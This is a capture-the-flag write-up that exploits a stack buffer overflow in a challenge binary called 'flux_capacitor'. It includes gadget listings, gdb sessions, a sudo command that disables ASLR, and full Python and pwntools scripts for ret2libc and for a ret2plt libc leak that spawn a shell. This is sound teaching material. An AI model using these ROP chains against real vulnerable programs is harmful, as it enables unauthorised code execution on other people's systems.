We managed to get back to 1955 but we did not bring any Plutonuim with us. Now we need to somehow fill Flux Capacitor with 1.21 gigawatts of power. Think Marty, think.. otherwise you are gonna stuck here and forever!
Vulnerability identification
The challenge presents a binary with a very straightforward main
function, which prints some stuff and overflows a buffer by 0xE0
(224) bytes:
undefined8 main(void)
{
undefined overflow [32];
setup();
write(1,"\nFlux capacitor: \n",0x13);
write(1," __ __\n",0x10);
write(1,"(__) (__)\n",0x11);
write(1," \\ \\ / /\n",0x10);
write(1," \\ \\ / /\n",0xf);
write(1," \\ \\ / /\n",0xe);
write(1," \\ \\ / /\n",0xd);
write(1," \\ /\n",0xc);
write(1," \\ /\n",0xb);
write(1," | |\n",0xb);
write(1," | |\n",0xb);
write(1," | |\n",0xb);
write(1," |_|\n",0xb);
write(1," (_)\n",0xb);
write(1,"\n\n[*] Year: [1955]",0x13);
write(1,"\n[*] Plutonium ",0x10);
write(1,"is not available ",0x12);
write(1,"to everoyne.\n",0xe);
write(1,"\n[Doc] : We need ",0x13);
write(1,"to find a way to",0x11);
write(1," fill the Flux ",0x10);
write(1,"Capacitor with ",0x10);
write(1,"energy. Any ideas",0x12);
write(1," Marty?\n[Marty]: ",0x12);
read(0,overflow,0x100);
write(1,"\n[Doc] : This ",0x10);
write(1,"will not work..\n\n",0x12);
return 0;
}
In terms of security protections, the application is an ELF-64 binary, compiled without stack canaries and PIE, but stack is not executable:
Exploitation
Exploit without ASLR
Although the binary is compiled without position independent code, meaning its code section cannot be relocated, the other libraries will be relocated due to ASLR being enabled system-wide. This makes the exploitation more difficult, because the binary is quite short and doesn’t contain that many gadgets:
$ ropper -f flux_capacitor
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
Gadgets
=======
0x00000000004005ae: adc byte ptr [rax], ah; jmp rax;
0x00000000004008dd: add al, ch; sub eax, 0xb8fffffc; add byte ptr [rax], al; add byte ptr [rax], al; leave; ret;
0x000000000040057f: add bl, dh; ret;
0x00000000004004f2: add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;
0x000000000040095d: add byte ptr [rax], al; add bl, dh; ret;
0x000000000040095b: add byte ptr [rax], al; add byte ptr [rax], al; add bl, dh; ret;
0x00000000004008e4: add byte ptr [rax], al; add byte ptr [rax], al; leave; ret;
0x00000000004008e5: add byte ptr [rax], al; add cl, cl; ret;
0x00000000004008dc: add byte ptr [rax], al; call 0x510; mov eax, 0; leave; ret;
0x000000000040067a: add byte ptr [rax], al; call 0x520; nop; pop rbp; ret;
0x00000000004005b6: add byte ptr [rax], al; pop rbp; ret;
0x0000000000400962: add byte ptr [rax], al; sub rsp, 8; add rsp, 8; ret;
0x00000000004005a4: add byte ptr [rax], al; test rax, rax; je 0x5b8; pop rbp; mov edi, 0x601010; jmp rax;
0x00000000004005e6: add byte ptr [rax], al; test rax, rax; je 0x5f8; pop rbp; mov edi, 0x601010; jmp rax;
0x00000000004008e6: add byte ptr [rax], al; leave; ret;
0x00000000004005b5: add byte ptr [rax], r8b; pop rbp; ret;
0x0000000000400617: add byte ptr [rcx], al; pop rbp; ret;
0x00000000004008e7: add cl, cl; ret;
0x00000000004004ee: add eax, 0x200b05; test rax, rax; je 0x4fa; call rax;
0x00000000004004ee: add eax, 0x200b05; test rax, rax; je 0x4fa; call rax; add rsp, 8; ret;
0x00000000004004ef: add eax, 0x4800200b; test eax, eax; je 0x4fa; call rax;
0x00000000004004ef: add eax, 0x4800200b; test eax, eax; je 0x4fa; call rax; add rsp, 8; ret;
0x00000000004004fb: add esp, 8; ret;
0x00000000004004fa: add rsp, 8; ret;
0x00000000004004f1: and byte ptr [rax], al; test rax, rax; je 0x4fa; call rax;
0x00000000004004f1: and byte ptr [rax], al; test rax, rax; je 0x4fa; call rax; add rsp, 8; ret;
0x00000000004008de: call 0x510; mov eax, 0; leave; ret;
0x000000000040067c: call 0x520; nop; pop rbp; ret;
0x0000000000400672: call 0x540; mov edi, 0x7f; call 0x520; nop; pop rbp; ret;
0x000000000040060d: call 0x590; mov byte ptr [rip + 0x200a0f], 1; pop rbp; ret;
0x0000000000400b27: call qword ptr [rax + 1];
0x0000000000400b93: call qword ptr [rax];
0x00000000004004f8: call rax;
0x00000000004004f8: call rax; add rsp, 8; ret;
0x000000000040093c: fmul qword ptr [rax - 0x7d]; ret;
0x00000000004004ea: in al, dx; or byte ptr [rax - 0x75], cl; add eax, 0x200b05; test rax, rax; je 0x4fa; call rax;
0x00000000004004f6: je 0x4fa; call rax;
0x00000000004004f6: je 0x4fa; call rax; add rsp, 8; ret;
0x00000000004005a9: je 0x5b8; pop rbp; mov edi, 0x601010; jmp rax;
0x00000000004005eb: je 0x5f8; pop rbp; mov edi, 0x601010; jmp rax;
0x0000000000400678: jg 0x67a; add byte ptr [rax], al; call 0x520; nop; pop rbp; ret;
0x0000000000400aff: jmp qword ptr [rax];
0x0000000000400bfb: jmp qword ptr [rbp];
0x0000000000400bdb: jmp qword ptr [rsi + 2];
0x00000000004005b1: jmp rax;
0x0000000000400612: mov byte ptr [rip + 0x200a0f], 1; pop rbp; ret;
0x00000000004008e3: mov eax, 0; leave; ret;
0x00000000004004ed: mov eax, dword ptr [rip + 0x200b05]; test rax, rax; je 0x4fa; call rax;
0x00000000004004ed: mov eax, dword ptr [rip + 0x200b05]; test rax, rax; je 0x4fa; call rax; add rsp, 8; ret;
0x000000000040060b: mov ebp, esp; call 0x590; mov byte ptr [rip + 0x200a0f], 1; pop rbp; ret;
0x00000000004005ac: mov edi, 0x601010; jmp rax;
0x0000000000400677: mov edi, 0x7f; call 0x520; nop; pop rbp; ret;
0x0000000000400286: mov edx, 0x543d0b63; ret 0x529b;
0x00000000004004ec: mov rax, qword ptr [rip + 0x200b05]; test rax, rax; je 0x4fa; call rax;
0x00000000004004ec: mov rax, qword ptr [rip + 0x200b05]; test rax, rax; je 0x4fa; call rax; add rsp, 8; ret;
0x000000000040060a: mov rbp, rsp; call 0x590; mov byte ptr [rip + 0x200a0f], 1; pop rbp; ret;
0x00000000004005b3: nop dword ptr [rax + rax]; pop rbp; ret;
0x00000000004005f5: nop dword ptr [rax]; pop rbp; ret;
0x0000000000400615: or ah, byte ptr [rax]; add byte ptr [rcx], al; pop rbp; ret;
0x00000000004004eb: or byte ptr [rax - 0x75], cl; add eax, 0x200b05; test rax, rax; je 0x4fa; call rax;
0x00000000004004f0: or esp, dword ptr [rax]; add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;
0x000000000040094c: pop r12; pop r13; pop r14; pop r15; ret;
0x000000000040094e: pop r13; pop r14; pop r15; ret;
0x0000000000400950: pop r14; pop r15; ret;
0x0000000000400952: pop r15; ret;
0x00000000004005ab: pop rbp; mov edi, 0x601010; jmp rax;
0x000000000040094b: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x000000000040094f: pop rbp; pop r14; pop r15; ret;
0x00000000004005b8: pop rbp; ret;
0x0000000000400953: pop rdi; ret;
0x0000000000400951: pop rsi; pop r15; ret;
0x000000000040094d: pop rsp; pop r13; pop r14; pop r15; ret;
0x0000000000400609: push rbp; mov rbp, rsp; call 0x590; mov byte ptr [rip + 0x200a0f], 1; pop rbp; ret;
0x000000000040028a: push rsp; ret 0x529b;
0x000000000040028b: ret 0x529b;
0x00000000004004f5: sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;
0x00000000004008df: sub eax, 0xb8fffffc; add byte ptr [rax], al; add byte ptr [rax], al; leave; ret;
0x0000000000400965: sub esp, 8; add rsp, 8; ret;
0x00000000004004e9: sub esp, 8; mov rax, qword ptr [rip + 0x200b05]; test rax, rax; je 0x4fa; call rax;
0x0000000000400964: sub rsp, 8; add rsp, 8; ret;
0x00000000004004e8: sub rsp, 8; mov rax, qword ptr [rip + 0x200b05]; test rax, rax; je 0x4fa; call rax;
0x00000000004004f4: test eax, eax; je 0x4fa; call rax;
0x00000000004004f4: test eax, eax; je 0x4fa; call rax; add rsp, 8; ret;
0x00000000004005a7: test eax, eax; je 0x5b8; pop rbp; mov edi, 0x601010; jmp rax;
0x00000000004005e9: test eax, eax; je 0x5f8; pop rbp; mov edi, 0x601010; jmp rax;
0x00000000004004f3: test rax, rax; je 0x4fa; call rax;
0x00000000004004f3: test rax, rax; je 0x4fa; call rax; add rsp, 8; ret;
0x00000000004005a6: test rax, rax; je 0x5b8; pop rbp; mov edi, 0x601010; jmp rax;
0x00000000004005e8: test rax, rax; je 0x5f8; pop rbp; mov edi, 0x601010; jmp rax;
0x00000000004008e8: leave; ret;
0x0000000000400681: nop; pop rbp; ret;
0x00000000004004fe: ret;
92 gadgets found
Let’s see first how exploitation would look like without ASLR. To temporary disable it, run the following command, then test:
$ sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
$ ldd flux_capacitor
linux-vdso.so.1 (0x00007ffff7fc9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dcc000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)
$ ldd flux_capacitor
linux-vdso.so.1 (0x00007ffff7fc9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dcc000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)
Notice the load address for libc.so.6
is now always the same each time we check!
Next we can generate a 0x100
bytes pattern and see where the instruction pointer gets overwritten after the buffer overflow:
gef➤ pattern create 256
[+] Generating a pattern of 256 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab
The exploitation steps for the no-ASLR scenario are really well documented in Introduction to x64 Linux Binary Exploitation (Part 2)—return into libc. We need to put together a few pieces, mainly the address of system
function, the address for a POP RDI
instruction, and a few others.
libc
.
Find a POP RDI instruction:
$ ropper
(ropper)> file flux_capacitor
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] File loaded.
(flux_capacitor/ELF/x86_64)> search /1/ pop rdi
[INFO] Searching for gadgets: pop rdi
[INFO] File: flux_capacitor
0x0000000000400953: pop rdi; ret;
Confirm we found the correct instruction:
gef➤ x/2i 0x0000000000400953
0x400953 <__libc_csu_init+99>: pop rdi
0x400954 <__libc_csu_init+100>: ret
Next find an occurance of /bin/sh
script, which we’ll use as a parameter to system
function call:
$ ldd flux_capacitor
linux-vdso.so.1 (0x00007ffff7fc9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dcc000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)
$ strings -a -t x /usr/lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
196031 /bin/sh
gef➤ x/s 0x7ffff7dcc000 + 0x196031
0x7ffff7f62031: "/bin/sh"
libc.so.6
library, that would be present on the target machine, in case we need to search any gadgets or offsets.
Next we need to locate the address of the system
function:
$ readelf -s /usr/lib/x86_64-linux-gnu/libc.so.6 | grep system
1023: 000000000004c330 45 FUNC WEAK DEFAULT 16 system@@GLIBC_2.2.5
gef➤ x/5i 0x00007ffff7dcc000 + 0x4c330
0x7ffff7e18330 <__libc_system>: test rdi,rdi
0x7ffff7e18333 <__libc_system+3>: je 0x7ffff7e18340 <__libc_system+16>
0x7ffff7e18335 <__libc_system+5>: jmp 0x7ffff7e17ec0 <do_system>
Finally, we need the base address of libc.so.6
. The offsets discovered above will be added to this address where the libc.so.6
will be loaded dynamically. Since ASLR is disabled for now, this address will be the same every time that we run the vulnerable program and can be found by examining the process’s memory allocation:
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /mnt/hgfs/CTF-oct-23/pwn_flux_capacitor/flux_capacitor
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /mnt/hgfs/CTF-oct-23/pwn_flux_capacitor/flux_capacitor
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /mnt/hgfs/CTF-oct-23/pwn_flux_capacitor/flux_capacitor
0x00007ffff7dc9000 0x00007ffff7dcc000 0x0000000000000000 rw-
0x00007ffff7dcc000 0x00007ffff7df2000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7df2000 0x00007ffff7f47000 0x0000000000026000 r-x /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f47000 0x00007ffff7f9a000 0x000000000017b000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f9a000 0x00007ffff7f9e000 0x00000000001ce000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f9e000 0x00007ffff7fa0000 0x00000000001d2000 rw- /usr/lib/x86_64-linux-gnu/libc.so.6
call
instruction but this is easily violated during ROP chain execution. To work around this, we might need one or a couple of ROP NOPs instructions (i.e. addresses of RET instructions). The final Python script to generate an exploitation payload for non-ASLR case looks like so:
import sys
import struct
read_buf_len = 0x100
offset = 40
libc_base = 0x7ffff7dcc000 # Base address of libc.so.6 (no ASLR)
pop_rdi = 0x400953 # POP RDI (in flux_capacitor)
nop_ret = 0x400954 # RET (in flux_capacitor)
bin_sh = libc_base + 0x196031 # /bin/sh in libc.so.6
system = libc_base + 0x4c330 # system() in libc.so.6
buf = b'A' * offset
buf += struct.pack('<Q', nop_ret)
buf += struct.pack('<Q', pop_rdi)
buf += struct.pack('<Q', bin_sh)
buf += struct.pack('<Q', system)
sys.stdout.buffer.write(buf)
We can easily use this, even without Pwntools, to get a shell:
$ (python create_payload_no_aslr.py; cat) | ./flux_capacitor
Flux capacitor:
..
[*] Year: [1955]
[*] Plutonium is not available to everoyne.
[Doc] : We need to find a way to fill the Flux Capacitor with energy. Any ideas Marty?
[Marty]:
[Doc] : This will not work..
id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),111(bluetooth),115(scanner),138(wireshark),141(kaboxer)
pwd
/mnt/hgfs/CTF-oct-23/pwn_flux_capacitor
Exploit with ASLR enabled
First we need to enable ASLR. We’ll use the same command as before, but this time with parameter value 2
. This will randomise the address space, includiung the positions of the stack, virtual dynamic shared object (VDSO) page, shared memory regions and data segments as well. For most systems, this setting is the default and the most secure setting. As expected, the payload now crashes the application:
$ (python create_payload_no_aslr; cat) | ./flux_capacitor
Flux capacitor:
_ _
() ()
\ \ / /
\ \ / /
\ \ / /
\ \ / /
\ /
\ /
| |
| |
| |
||
()
[] Year: [1955]
[] Plutonium is not available to everoyne.
[Doc] : We need to find a way to fill the Flux Capacitor with energy. Any ideas Marty?
[Marty]:
[Doc] : This will not work..
id
zsh: broken pipe ( python pwn_flux_capacitor.py; cat; ) |
zsh: segmentation fault ./flux_capacitor
We need a different strategy. This is where the return2plt attack comes in handy in order to leak a function pointer and bypass ASLR.
read()
function call, which is very close to the end of the program, to watch both the buffer overflow and RIP overwrite in action:
b *(main+558)
To summarise, the attack will be split in multiple steps:
- Use the buffer overflow and
return2plt
attack to return towrite
function, and leak its address.- This will be used to compute the base address of
libc
.
- This will be used to compute the base address of
- After exiting the
write
function, return intomain
, and run the program again, exploiting it a second time.- This time, knowing the base address of
libc.so.6
, perform a classicreturn2libc
attack.
- This time, knowing the base address of
- Make sure to add more data as input to the vulnerable program, in the form of commands to be executed within the shell. They will be fed to it as standard input.
pwntools
Python scripts. It’s possible to attach a debugger, set up a breakpoint (for example before the read()
call) and gradually feed input and parse output from the vulnerable program:
io = gdb.debug(bin_path, gdbscript = 'b *(main+558)')
For phase 1, leaking the base address of libc, we have the following ROP chain:
offset = 40 # Offset to overwrite RIP
# Phase 1 - Ret2Plt
# Leak the address of write function and libc
buf = b'A' * offset
pop_rsi = 0x400951 # pop rsi; pop r15; ret
write_plt = 0x400510 # Address of write in PLT
write_got = 0x600fd0 # Address of write in GOT
main = 0x00400684 # main() (Return after first run)
buf += struct.pack('<Q', pop_rsi)
buf += struct.pack('<Q', write_got) # POP-ed into RSI (2nd parameter to write)
buf += struct.pack('<Q', 0x41414141) # POP-ed into R15
buf += struct.pack('<Q', write_plt) # Call this
buf += struct.pack('<Q', main) # ret after write
The goal of this first stage is to call the write
function, using it’s address in PLT
- Its first argument would be in RDI, but in our case RDI register will already be set to 1 (
stdout
) so we don’t need to set it. - The second argument, what to write, will be taken from RSI. That’s why we POP into RSI the address of write function in GOT table, which would point into the real address in
libc.so.6
. - The 3rd argument to
write
would be the size to write. Again we don’t need to worry about this because RDX register is correctly set - We also put on the stack the address of
main
function, to return there after write, and basically be able to re-exploit the program.
We then compute the base address of libc
library, and reproduce the previous attack. The final script to bypass ASLR with two ROP chains, heavily commented:
import sys
import struct
from pwn import *
bin_path = './flux_capacitor'
io = process(bin_path)
# Local process under GDB
# Break before the read() call
#io = gdb.debug(bin_path, gdbscript = 'b *(main+558)')
read_buf_len = 0x100
offset = 40 # Offset to overwrite RIP
# Phase 1 - Ret2Plt
# Leak the address of write function and libc
buf = b'A' * offset
pop_rsi = 0x400951 # pop rsi; pop r15; ret
write_plt = 0x400510 # Address of write in PLT
write_got = 0x600fd0 # Address of write in GOT
main = 0x00400684 # main() (Return after first run)
buf += struct.pack('<Q', pop_rsi)
buf += struct.pack('<Q', write_got) # POP-ed into RSI (2nd parameter to write)
buf += struct.pack('<Q', 0x41414141) # POP-ed into R15
buf += struct.pack('<Q', write_plt) # Call this
buf += struct.pack('<Q', main) # ret after write
# We need to supply all 0x100 bytes expected by read
buf += b'A' * (read_buf_len - len(buf))
print("[*] Sending %d (0x%x) bytes (first iteration)" % (len(buf), len(buf)))
io.send(buf)
recv_buf = io.recvrepeat(3)
#print(recv_buf)
print("[*] Received %d (0x%x) bytes" % (len(recv_buf), len(recv_buf)))
leak_write_addr_str = recv_buf.split(b'not work..\n\n\x00')[1][:8]
leak_write_addr = struct.unpack('<Q', leak_write_addr_str)[0]
print("[*] Leaked write() address: 0x%016x" % leak_write_addr)
# Phase 2 - Ret2Libc
# Spawn a shell
write_offset = 0xFB0D0 # Offset to write() in libc
libc_base = leak_write_addr - write_offset
print("[*] Libc base address: 0x%016x" % libc_base)
bin_sh = libc_base + 0x199031 # /bin/sh in libc.so.6
system = libc_base + 0x4f330 # system() in libc.so.6
pop_rdi = 0x400953 # POP RDI (in flux_capacitor)
nop_ret = 0x400954 # RET (in flux_capacitor)
buf = b'B' * offset
buf += struct.pack('<Q', nop_ret)
buf += struct.pack('<Q', nop_ret)
buf += struct.pack('<Q', pop_rdi)
buf += struct.pack('<Q', bin_sh)
buf += struct.pack('<Q', system)
buf += b'B' * (read_buf_len - len(buf))
# Second iteration
print("[*] Sending %d (0x%x) bytes (2nd iteration)" % (len(buf), len(buf)))
io.send(buf)
recv_buf = io.recvrepeat(3)
#print(recv_buf)
# Execute some commands in the shell
buf = b''
cmds = b'\x0aid\x0auname -a\x0a'
buf += cmds
io.send(buf)
recv_buf = io.recvrepeat(2).decode("utf-8")
print(recv_buf)
And the shell in action:
$ python pwn_flux_capacitor.py
[+] Starting local process './flux_capacitor': pid 2134427
[*] Sending 256 (0x100) bytes (first iteration)
[*] Received 770 (0x302) bytes
[*] Leaked write() address: 0x00007f7d428730d0
[*] Libc base address: 0x00007f7d42778000
[*] Sending 256 (0x100) bytes (2nd iteration)
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),111(bluetooth),115(scanner),138(wireshark),141(kaboxer)
Linux kali 6.1.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.12-1kali2 (2023-02-23) x86_64 GNU/Linux
[*] Stopped process './flux_capacitor' (pid 2134427)
References
- Pwntools tutorial - Debugging
- Linux/x64 - execve(/bin/sh) Shellcode (23 bytes)
- How to Test a Shellcode
- fgets() Deprecated and dangerous
- Introduction to x64 Linux Binary Exploitation (Part 1)
- Introduction to x64 Linux Binary Exploitation (Part 2)—return into libc
- Introduction to x64 Linux Binary Exploitation (Part 5)- ASLR
- Controlling stack execution protection
- GDB exiting instead of spawning a shell
- ROPgadget Tool
- GOT and PLT for pwning.
- ROP Chain Exploit x64 with example
- ret2plt ASLR bypass (x86)
- Configuring ASLR with randomize_va_space
- RET TO ROP